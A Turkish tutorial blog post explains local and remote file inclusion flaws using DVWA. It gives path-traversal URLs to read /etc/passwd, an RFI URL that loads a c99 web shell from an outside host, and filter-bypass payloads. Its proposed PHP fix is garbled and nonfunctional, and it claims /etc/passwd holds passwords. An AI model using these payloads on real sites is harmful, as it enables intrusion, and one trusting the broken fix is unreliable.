FILE INCLUSION
Arkadaşlar merhaba. Bu makalemde sizlere bir tür web açıklığı olan file inclusion zaafiyetini anlatacağım.
File Inclusion Nedir?
File Inclusion , dosya dahil etme yani saldırganın hedef web sitesine dosya dahil etmesine veya hedef web sitesinin kendinde olan ama sunmadığı bir dosyayı görüntületmesine denir.
File Inclusion açıklığını kullanan iki tür saldırı vardır : Bunlardan birincisi Local File Inclusion , ikincisi ise Remote File Inclusion olarak adlandırılmaktadır. Local File Inclusion saldırısı hedef sitenin barındırdığı sunucudaki ziyaretçilere sunulmamış dosyanın hedef site üzerinde görüntületilmesine denir. Remote File Inclusion saldırısı ise saldırganın hedef siteye kendi dosyasını(mesela shell dosyası) görüntületmesine denir.
File Inclusion Acığı Tespiti
Hedef siteyi açtığımızda açık olup olmadığını anlamak için siteye hata verdirtmemiz gerekmektedir.
Örnek
www.canyoupwnme.com/articles.php?file =fileinclusion.html
www.canyoupwnme.com/articles.php?file=…..cypm.com gibi … Bu şekilde yönlendirebiliriz arkadaşlar . Amacımız siteye hata verdirtmek eğer yanlış giden bişeyler varsa veya bi hata verdirtirseniz orada açığın olduğunu anlayabilirsiniz.
Mesela örnek olarak bir RFİ zaafiyetinin kaynaklandığı örnek kodu ve bu hatanın nasıl giderileceğini göstereceğim .
-> Örnek olarak Rfi Hatası
Eğer scriptlerde Rfi açık arıyorsanız, bunları iyi bilmeniz gerekmektedir.
Mesela bir Rfi açık hazırlayalım.
<?php
$page=$_GET[page]; -> Rfi açığı burada page değerinde
include($page)
?>
-> Örnek olarak Rfi Hata Giderme
Scriptlerdeki bugları bu konuda verilmiş örnekleri baz alarak kapatabilirsiniz.
<?php
$page=$_GET”./”; Bu kodlamalar ile Rfi açığımızı fix etmiş bulunmaktayız.
?>
Shell Nedir?
Siteye yüklendiğinde sitede yetkiye göre dosya düzenleyip okumanıza yarayan yetkileriniz olur.Bu yetkiler yazma,okuma ve silme yetkileridir. Shell attığınız sitede bazen bir site sahibinin yetkilerini kullanabilirken bazende sunucu sahibinin yani host sahibinin yetkilerini kullanabiliyorsunuz sunucu sahibinin yetkileri oldukça fazladır.Bu olaya Permission Yetkisi denir.
Permissionları açık bir sunucuda tüm dosyaları değiştirebilir okuyabilirsiniz kısaca sunucunun sahibi sizsiniz demektir.
BackConnect Nedir?
Açık bir porttan servere bağlanmanızı sağlayan yazılım diyebiliriz . Serveri rootlamada kullanılabilir ve genellikle lokala exploitleri çalıştırmada kullanılır.
Exploit Nedir ?
Exploit bilgisayar, yazılım, program veya dijital herhangi bir sistem üzerinde, sistem açıklarından, kod hatalarından faydalanarak istenmeyen veya planlanmamış hatalar oluşturmak için düzenlenmiş küçük kod veya programlardır. Örnek vermek gerekirse sisteme izinsiz giriş yapmak, yetkili kullanıcı oluşturmak, sistemi devre dışı bırakmak için oluşturulan programlardır.
Exploitler çalışma prensiplerine göre birkaç farklı türde olabilirler. Genel olarak Exploitler sistemle iletişime geçme yöntemlerine göre üç ana kategoriye ayrılırlar.
- Remote Exploit
- Local Exploit
- Client Side Exploit
Remote (Uzak) Exploitler sisteme local network veya internet gibi bir dijital ağ üzerinden sistemle etkileşimde bulunurlar.
Local (Yerel) Exploitler sistemin içerisinde bulunan genelde sistemdeki yetkili kullanıcı özelliklerini kullanmak için tasarlanmış Exploitlerdir.
Client uygulamaları etkileşen (Client Side) Exploitler ise genel olarak yine network üzerinden sistemlerle etkileşimde bulunmakla beraber kullanılmaları için client veya kullanıcılar tarafından tetiklenmeleri gerekir. Bu Exploitler genel olarak sosyal mühendislik atakları ile tetiklenirler.
Şimdi örnek göstererek anlatmaya devam edelim ve arkadaşlar eğer isterseniz bu anlattıklarımı DVWA üzerinde uygulayabilirsiniz tabi local hostunuza kurduktan sonra .
1)Low Level Local File Inclusion
Mesela bir hedef sitemiz olsun örnek veriyorum “ www.hedefsite.com?page=include.php
‘ ? ‘ işareti parametrelerin sıralanacağı kısmın başını ifade eder. ‘ = ‘ işareti parametreye değer atanacağını ifade eder . Örnek olarak gösterdiğimsitede bir parametre birde onun değeri vardır. Bu parametrenin ismi page , yani sayfadır. Değeri ise dosya ismidir. Görüldüğü üzere page parametresi dosya ismi almaktadır ve aldığı değerlere göre içerik değiştirmektedir. Yani linkteki page parametresi içerik olarak yansıtılacak php dosyasını belirleyen bir dosya seçici olarak kullanılıyor. Bu seçim sonucunda mevcut sayfanın barındığı erişemediğimiz dosyalara erişebiliyoruz. Sunucuda bir dosya index.php’ye, yani hali hazırda görüntülüyor olduğumuz File Inclusion sayfasına dahil ediliyor. Bu mekanizmaya File Inclusion, yani Dosya Dahil Etme denmektedir.Aşağıda bir kaç fotoğraf mevcut onları inceleyelim arkadaşlar. Yani incelediğinizde parametreye verdiğimiz değerler değiştikçe gelen veriler değişiyor.
Mesela linux ve unix işletim sistemi sunucularında tutulan /etc dizini altındaki passwd gibi hassas bir dosyanın içeriğini sitenin linkindeki parametre değerini oynayarak sayfaya seçtirerek ekrana yansıtabilir miyiz? Eğer güvenlik önlemi alınmamışsa cevap evet.
Madem URL'in parametresi sunucuda bulunan dosyaların isimlerini alıyor ve buna göre ilgili dosyanın içeriğini ekrana yansıtıyor. O zaman bunu sunucuda kullanıcı adlarının ve detaylarının tutulduğu kullanıcı adlarının ve detaylarının tutulduğu dosyayı yani /etc/passwd dosyasını ekrana yansıtmak maksadıyla kullanmayı deneyelim. Bulunduğumuz dizin şudur (Linux üzerinde DVWA'yı çalıştırıyor olduğunuz varsayıldı):
Arkadaşlar işte böyle bir dizinimiz var —> /var/www/dvwa/vulnerabilities/fi/
Yukarıdaki dizin şu an görüntülüyor olduğumuz sayfanın dizinidir. Bizim hedefimiz /etc dizinindeki passwd dosyasına ulaşmaktır.
/var/www/dvwa/vulnerabilities/fi/
dizininden var klasörüne geçebilmemiz için birkaç kez üst dizine çıkmamız gerekir. Yani var klasörüne varana kadar üst dizine çıkmalıyız:
fi ../
vulnerabilities ../
dvwa ../
www ../
var ../
Böylece anlarız ki 5 tane ../ komutundan kullanırsak var’ın yer aldığı havuza, yani kök dizine ulaşırız. Eğer görüntülüyor olduğunuz sayfanın linkindeki page parametresine değer olarak
../../../../../
eklersek fi klasörünün içinden çıkıp /var klasörünün yer aldığı klasör havuzuna erişiriz. Sıradaki işlem etc klasörüne dallanmaktır. Bunun için /etc/ dizini eklenir ve sonrasında etc klasörü içerisinde barınan dosyanın ismi eklenir:
../../../../../etc/passwd
Bu şekilde;
http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd
Linkini enter'ladığımızda ekrana kullanıcı adı, kullanıcıların ait oldukları gruplar gibi bilgiler, yani passwd dosyasının içeriği yansıtılır.
En son olarak aldığımız bilgiler ile Brute Force kullanılarak hedef web sitenin sunucusuna sızılabilir.
Ayrıca açıklamalıyım ki bu basit görünen saldırıda önemli dosyalarda okunabilir.Mesela log dosyaları: access.log , error.log gibi. İş tamamen hedef sistemin klasör yapısını bilmeye bakıyor. Klasör yapısını ezberlemeye çalışmak pek mantıklı değil . Bilgisayarınızda bir linux sistemi açıp dilediğiniz kritik dosyayı sisteme CTRL+F ile arattırabilirsiniz. Böylece bulduğunuz dizini bu dersin URL’sindeki parametreye değer olarak koyup seçtiğiniz dosyanın içeriğini ekrana yansıttırabilirsiniz.
2)Low Level Remote File Inclusion
RFI saldırısı tıpkı LFI saldırısının kullandığı güvenlik zafiyeti olan File Inclusion açığından faydalanır. İşleyiş aynıdır. Fakat bu sefer ekrana dahil edilecek sayfa hedef sitenin sunucusunda yer alan dosya değil de harici bir dosya olacaktır.
Diyelim ki dahil edilecek harici dosyanın içerisinde şunlar var:
<br><br><br><br><br><br><br>
<font color="red">
<center>
<h1>CYPM Tarafından Hacklenmiştir</h1>
</center>
</font>
<br><br><br><br><br><br><br>
Gördüğünüz gibi html ile yazılmıs bir metin , işte biz bunu sitenin sunucusunda gösterebiliriz. Yani bu dosyanın olduğu yer aldığı bir web sitesinin linki page parametresinin sonuna eklenir.
http://localhost/dvwa/vulnerabilities/fi/?page=http://www.canyoupwne.com/cypm.html
Page parametresi LFI saldırısında hedef web sitesinin sunucularında barınan bir dosyanın dizin adresini alıyorken bu sefer harici bir link almıştır. Bu saldırı kodu tarayıcının adres çubuğuna girildiğinde ekrana harici dosyanın içeriği yansıyacak ve sayfa hack'lendi süsü verilmiş olacaktır. Ayrıca yazımın başında belirttiğim gibi shell atabiliriz , bu bize sitede büyük bir yetki verecektir.
3)Medium Level Local ve Romote File Inclusion
Bu sefer güvenlik önlemleri biraz daha artmış bir şekilde inceleyeceğiz.
Lfi ve Rfi’ ya Karşı Önlem
Low leveldeki kaynak kod şuydu arkadaşlar. Güvenlik Low Level iken görüldüğü üzere page parametresinden gelen dosya adı olduğu gibi include() fonksiyonuna giriyor ve sayfaya dahil ediliyor. page parametresinden gelecek dosya adları konusunda bir denetleme mekanizmasına ihtiyaç vardır. Aksi takdirde dileyen dilediği dosya adını parametreye girebilir ve dilediği dosyayı sayfaya görüntületebilir.
<?php
$file = $_GET[ 'page' ];
include($file);
?>
Güvenlik seviyesi Medium'a çıkarıldığında kaynak koddaki değişim aşağıdaki gibidir:
<?php
$file = $_GET[ 'page' ];
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
include($file);
?>
Medium seviyesinin kaynak kodunda yer alan ilk str_replace() fonksiyonu ile page parametresine değer olarak girilen dosya ismindeki http:// ve https:// gibi karakterler varsa silinir. Ardından ikinci str_replace() fonksiyonu ile windows sistemlerde üst dizine çıkmayı sağlayan ..\ karakteri ile linux ve unix sistemlerde üst dizine çıkmayı sağlayan ../ karakteri dosya isminden varsa silinir. Böylelikle ilk planda kusursuz görünen güvenlik temin edilmiş olunur.
İlk str_replace() ile Remote File Inclusion (RFI) saldırılarına karşı önlem alınmışken, ikinci str_replace() fonksiyonu ile de Local File Inclusion (LFI) saldırılarına karşı önlem alınmıştır. Fakat Medium seviyesinde alınan bu önlemler aşılabilmektedir. http:// ve https:// ‘lerden arındıran ilk str_replace() fonksiyonunu atlatıp yine RFI saldırısında bulunabilmenin yolu şudur: http:// karakterlerinin arasına http:// karakterlerini koymak.Eğer XSS inclerseniz scriptleri yazarken de böyle bi yöntem kullanıyoruz.
localhost/dvwa/vulnerabilities/fi/?page=htthttp://p://zararlibirsite.com/c99.php
İşte arkadaşlar yukarıdaki gördüğünüz saldırı kodunu ele alacak olursak Medium Level'daki lk str_replace() fonksiyonu aldığı page parametresinin değerini tarayacak ve kırmızı renkli karakterleri gördüğü an silecektir. Ardından str_replace() kaldığı yerden taramaya devam edecektir. Fakat başa sarmayacaktır. Başa sarmadığı için arta kalanların birleşimi sonucu ortaya çıkan http:// karakterlerini fonksiyon yakalayamayacaktır. Böylelikle güvenlik aşılmış olacaktır ve RFI saldırısını gerçekleştirmiş bulunuyoruz. Çok hoş değil mi sizce de ?
Şimdi birde /etc/passwd dosyasına erişmeye çalışmalıyız.Bu dosya kullanıcı adları ve şifrelerin bulunduğu dosya.Burda da bir sıkıntı var bunu da şu şekilde atlayacağız :
localhost/dvwa/vulnerabilities/fi/?page=..././etc/passwd
Local File Inclusion'a karşı güvenlik önlemi olan ikinci str_replace() fonksiyonuna gelecek olursak kırmızı karakterleri gören ikinci str_replace() fonksiyonu kırmızı renkli üst dizin karakterlerini siliyor ve kaldığı yerden tarama işlemine devam edecektir. Geride arta kalanlar ise birleştiğinde yine üst dizin karakterini (../) meydana getirecektir. Böylelikle dosyamıza ulaşmış olacağız.
Arkadaşlar yazımı burada sonlandırıyorum , iyi çalışmalar.
Yorumlar
Yorum Gönder